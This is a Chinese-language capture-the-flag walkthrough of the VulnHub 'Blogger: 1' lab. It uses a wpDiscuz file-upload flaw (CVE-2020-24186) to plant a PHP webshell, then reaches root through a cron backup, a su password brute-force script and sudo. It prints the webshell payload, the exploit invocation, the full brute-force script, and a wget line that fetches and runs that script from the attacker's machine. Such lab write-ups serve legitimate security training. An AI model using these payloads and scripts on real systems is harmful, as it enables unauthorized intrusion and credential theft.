VulnHub Blogger: 1 通关记录|wpDiscuz 未授权 RCE 与 vagrant 弱密码提权
靶机链接:Blogger: 1
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Blogger: 1 | 192.168.1.116 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键操作 | 结果 |
|---|---|---|
| 服务发现 | RustScan → Nmap 识别 SSH + DNS + Apache | 确定 80 端口为主攻击面,SSH 仅 pubkey |
| 目录爆破 | Gobuster → /assets/fonts/blog/ | 发现隐藏的 WordPress 4.9.8 |
| 插件枚举 | curl 穷举插件路径(2 秒完成) | wpDiscuz 7.0.4 + Akismet |
| 初始 RCE | CVE-2020-24186 未授权文件上传 | GIF89a 伪装 PHP → www-data shell |
| User Flag | cron 备份 /tmp/backup.tar.gz → Base64 解码 | flag{Y0u_D!D_17 :)} |
| 横向移动 | forkpty 绕过 su TTY → vagrant:vagrant | 弱密码命中 |
| Root 提权 | sudo su -(NOPASSWD: ALL) | root shell + root flag |
0x02 侦察与信息收集 (Reconnaissance)
1. 端口扫描
rustscan -a 192.168.1.116 -- -sV -sC -O -T4
Open 192.168.1.116:22
Open 192.168.1.116:53
Open 192.168.1.116:80
| 端口 | 服务 | 指纹 |
|---|---|---|
22/tcp | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.10,仅 pubkey 认证 |
53/tcp | DNS | tcpwrapped,version.server 2026.6.0,NSID ewr08 |
80/tcp | HTTP | Apache/2.4.18 (Ubuntu) |
注意: SSH 已禁用密码认证,排除直接暴力破解路线。DNS 为开放递归解析器,仅有一条
ubuntu-xenial.lan → 192.168.1.116的 A 记录,无可利用区域传送。
2. Web 枚举
| 项目 | 详情 |
|---|---|
| 服务器 | Apache/2.4.18 (Ubuntu) |
| 前端框架 | Bootstrap 4.0.0 |
| JS 库 | jQuery 2.2.3 + AOS + simpleLightbox + Waypoints |
| 模板来源 | w3layouts.com — "Recognize" 模板 |
| WAF | 无 |
首页 (/) | 纯静态 HTML,Login/Register 仅为前端展示,无后端逻辑 |
gobuster dir -u http://192.168.1.116 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://192.168.1.116 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,bak
Gobuster 在 /assets/fonts/blog/ 路径下发现了隐藏的 WordPress 站点。这是本靶机的关键发现:WordPress 被刻意藏在看似无关的静态资源路径中。
WordPress 配置中使用了 blogger.thm 域名。为了避免后续页面跳转、资源加载或 exploit 拼接 URL 时跑偏,先把域名写入 Kali 的 /etc/hosts:
echo '192.168.1.116 blogger.thm' | sudo tee -a /etc/hosts
0x03 漏洞探测与分析 (Vulnerability Analysis)
1. WordPress 枚举
wpscan --url http://192.168.1.116/assets/fonts/blog/ --disable-tls-checks -e ap --no-update
| 项目 | 详情 |
|---|---|
| CMS | WordPress 4.9.8 (2018-08-02, Insecure) |
| 域名 | blogger.thm |
| 主题 | Poseidon 2.1.1 (ThemeZee) |
| 管理员 | j@m3s (slug: jm3s, ID: 1) |
| XML-RPC | 已启用 |
| WP-Cron | 已启用 |
| Upload Directory | 目录列表已开启 |
| Readme | readme.html 可访问 |
2. 插件发现策略
wpscan 被动模式 --plugins-detection passive 未发现任何插件。原因是 wpDiscuz 仅在 post 页面通过 JS 动态加载,HTML 中无插件引用。
改用手动穷举常见插件路径,比 wpscan aggressive 模式快几个数量级:
for plugin in wpdiscuz akismet hello contact-form-7 wordpress-seo \
jetpack woocommerce wp-file-manager duplicator elementor \
w3-total-cache wordfence revslider; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
"http://192.168.1.116/assets/fonts/blog/wp-content/plugins/$plugin/")
[ "$code" != "404" ] && echo "[$code] $plugin"
done
[200] wpdiscuz
[200] akismet
13 个常见插件穷举 2 秒出结果。wpscan
--plugins-detection aggressive发出 121,121 个请求用了 35 分钟,结论一致但效率差了几个数量级。当被动模式失败时,优先用 curl 穷举高频插件列表。
3. 漏洞确认 — wpDiscuz 7.0.4
curl -s http://192.168.1.116/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt | head -6
# Stable tag: 7.0.4
searchsploit wpdiscuz
# php/webapps/49967.py — Remote Code Execution (CVE-2020-24186)
# php/webapps/49962.sh — Arbitrary File Upload (CVE-2020-24186)
# php/webapps/49401.rb — Unauthenticated File Upload (Metasploit)
CVE-2020-24186 漏洞原理:
wpDiscuz 7.0.4 的 AJAX 文件上传接口 wmuUploadFiles 存在三个缺陷叠加:
| 缺陷 | 说明 |
|---|---|
| 仅客户端 MIME 检查 | 前端 JS 限制 accept="image/*",服务端不做验证 |
| 无认证要求 | wmuSecurity nonce 从页面 JS 中提取即可,无需登录 |
| 任意文件上传 | PHP 文件加 GIF89a header 伪装 PNG,绕过 magic byte 检测 |
0x04 核心攻击链 (Core Attack Chain)
第一阶段:初始突破 — CVE-2020-24186 获取 Webshell
Exploit 选择
| Exploit | 类型 | 评价 |
|---|---|---|
49967.py | Python | 选用,自动提取 nonce + postId,参数少 |
49962.sh | Bash | 硬编码 postId=18,不够灵活 |
49401.rb | MSF | Metasploit 模块 |
利用过程
searchsploit -m php/webapps/49967.py
python3 49967.py -u http://192.168.1.116/assets/fonts/blog -p "/?p=1"
执行流程:
① GET /?p=1
→ 从 JS 提取 wmuSecurity: "f7860b980a"
→ 从 JS 提取 wc_post_id: "1"
② POST /wp-admin/admin-ajax.php
→ action=wmuUploadFiles
→ wmu_nonce=f7860b980a
→ wmu_files[0]="<random>.php" (Content-Type: image/png)
payload: GIF89a;<?php system($_REQUEST['cmd']); ?>
→ postId=1
③ 响应: {"success":true,"data":{"url":"http://blogger.thm/.../hytwwxrwbtjbkia-1781490818.417.php"}}
上传的 Shell 内容:
GIF89a;
<?php system($_REQUEST['cmd']); ?>
验证 RCE
curl "http://192.168.1.116/assets/fonts/blog/wp-content/uploads/2026/06/hytwwxrwbtjbkia-1781490818.417.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
第二阶段:信息收集与 User Flag
1. wp-config.php 泄露
通过 Webshell 读取 WordPress 配置文件:
curl "...?cmd=cat /var/www/wordpress/assets/fonts/blog/wp-config.php"
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'sup3r_s3cr3t');
define('DB_HOST', 'localhost');
MySQL root 密码
sup3r_s3cr3t获取成功,但 MySQL 以mysql用户运行(非 root),无法直接用于系统提权。
2. Cron 备份发现
curl "...?cmd=cat /etc/crontab"
PATH=/home/james:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root /usr/local/bin/backup.sh
backup.sh 内容:
#!/bin/sh
cd /home/james/
tar czf /tmp/backup.tar.gz *
该 cron 任务以 root 身份每分钟执行,将 james 家目录打包到 /tmp/backup.tar.gz。虽然 /home/james/user.txt 权限为 600(仅 james 可读),但 root 运行的 tar 可以无视权限,而 /tmp/backup.tar.gz 任何用户可读。
curl "...?cmd=cd /tmp && tar xzf backup.tar.gz && cat user.txt"
ZmxhZ3tZMHVfRCFEXzE3IDopfQ==
echo "ZmxhZ3tZMHVfRCFEXzE3IDopfQ==" | base64 -d
# flag{Y0u_D!D_17 :)}
3. 系统环境与提权线索
| 项目 | 详情 |
|---|---|
| 操作系统 | Ubuntu 16.04.7 LTS (Xenial Xerus) |
| 内核 | 4.4.0-206-generic x86_64 |
| Sudo | 1.8.16 |
| pkexec | 0.105 (CVE-2021-4034 PwnKit 易受攻击) |
| User namespace | 已启用 (unshare -r 可用) |
| GCC | 未安装 |
SUID 二进制:
| 文件 | 备注 |
|---|---|
/usr/bin/pkexec | 版本 0.105,CVE-2021-4034 备选 |
/usr/bin/sudo | 版本 1.8.16 |
/usr/bin/at | SUID (daemon) |
newuidmap/newgidmap | SUID |
第三阶段:横向移动 — su 弱密码爆破
用户枚举
cat /etc/passwd | grep bash
vagrant:x:1000:1000::/home/vagrant:/bin/bash
ubuntu:x:1001:1001::/home/ubuntu:/bin/bash
james:x:1002:1002::/home/james:/bin/bash
forkpty 绕过 su TTY 限制
su 命令要求 TTY 交互,而 Webshell 无法直接调用。用 Python 的 os.forkpty() 创建伪终端绕过此限制:
#!/usr/bin/env python3
"""su brute force using forkpty for TTY"""
import os
import time
users = [
("vagrant","vagrant"),
("ubuntu","ubuntu"),
("james","james"),
("james","sup3r_s3cr3t"),
("james","password"),
]
for user, pw in users:
try:
pid, fd = os.forkpty()
if pid == 0:
os.execvp('su', ['su', user, '-c', 'whoami; id; sudo -l 2>&1'])
else:
time.sleep(0.3)
try:
os.write(fd, (pw + '\n').encode())
except:
pass
time.sleep(0.5)
output = b''
try:
while True:
chunk = os.read(fd, 4096)
if not chunk:
break
output += chunk
except:
pass
os.waitpid(pid, 0)
print("=== {}:{} ===".format(user, pw))
print(output.decode('utf-8', errors='replace').strip())
except Exception as e:
print("=== {}:{} ERROR: {} ===".format(user, pw, e))
通过 HTTP 上传到目标并执行:
# 攻击机
cd /home/kali/wp/675
python3 -m http.server 9998 &
# 目标机 (Webshell)
curl "...?cmd=wget http://192.168.1.113:9998/su_brute.py -O /tmp/sb.py && python3 /tmp/sb.py"
=== vagrant:vagrant ===
vagrant
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
Matching Defaults entries for vagrant on ubuntu-xenial:
(ALL) NOPASSWD: ALL
=== ubuntu:ubuntu ===
su: Authentication failure
=== james:james ===
su: Authentication failure
vagrant 用户密码即用户名,且拥有 (ALL) NOPASSWD: ALL 的 sudo 权限。
第四阶段:Root 提权
已知 vagrant 有完全 sudo 权限,使用同样的 forkpty 手法执行提权:
python3 -c "
import os,time
pid,fd=os.forkpty()
if pid==0:
os.execvp('su',['su','vagrant','-c','sudo su -c \"id; cat /root/root.txt\"'])
else:
time.sleep(0.3)
os.write(fd,b'vagrant\n')
time.sleep(0.5)
print(os.read(fd,4096).decode())
os.waitpid(pid,0)
"
uid=0(root) gid=0(root) groups=0(root)
flag{W311_D0n3_Y0u_P3n3tr4t3d_M3 :)}
0x05 最终成果 (Final Flags)
User Flag
- 路径:
/home/james/user.txt - 内容:
flag{Y0u_D!D_17 :)} - 获取方式: root cron 任务将 james 家目录打包到
/tmp/backup.tar.gz,解压后 Base64 解码
Root Flag
- 路径:
/root/root.txt - 内容:
flag{W311_D0n3_Y0u_P3n3tr4t3d_M3 :)} - 获取方式:
su vagrant→sudo su -
复盘总结
-
隐藏 WordPress 是第一道门槛。 首页是纯静态模板,WordPress 被藏在
/assets/fonts/blog/这种不会被自然访问到的路径。如果只用 common.txt 做目录爆破可能错过,需要 medium 级别词表或在/assets/下递归扫描。 -
wpscan 被动模式的盲区。 wpDiscuz 只在 post 页面通过 JS 动态加载,首页 HTML 中无任何插件引用,导致 wpscan 被动模式 0 发现。手动 curl 穷举 13 个高频插件名 2 秒就能定位,远比 aggressive 模式的 121,121 请求高效。
-
CVE-2020-24186 的核心是 MIME 校验缺失。 服务端完全信任客户端
Content-Type,加上 nonce 可从页面公开 JS 中提取、无需认证即可调用上传接口,三个缺陷叠加形成未授权 RCE。 -
cron tar 备份是 user flag 的唯一路径。
/home/james/user.txt权限 600 且 www-data 无法直接读取,但 root cron 每分钟将其打包到 world-readable 的/tmp/backup.tar.gz。不查 cron 就拿不到 user flag。 -
先查横向移动,再搞内核 exploit。 报告中一度陷入 pkexec、CVE 内核漏洞、cron hijack 等复杂方案,实际只需
grep bash /etc/passwd+ 用户名=密码尝试 +sudo -l,vagrant 用户直接(ALL) NOPASSWD: ALL,两步到 root。 -
forkpty 是 Webshell 场景下 su 的标准解法。 Webshell 没有 TTY,
su会拒绝执行。Pythonos.forkpty()创建伪终端是绕过此限制的轻量方案,不依赖额外工具,适合在目标机上直接运行。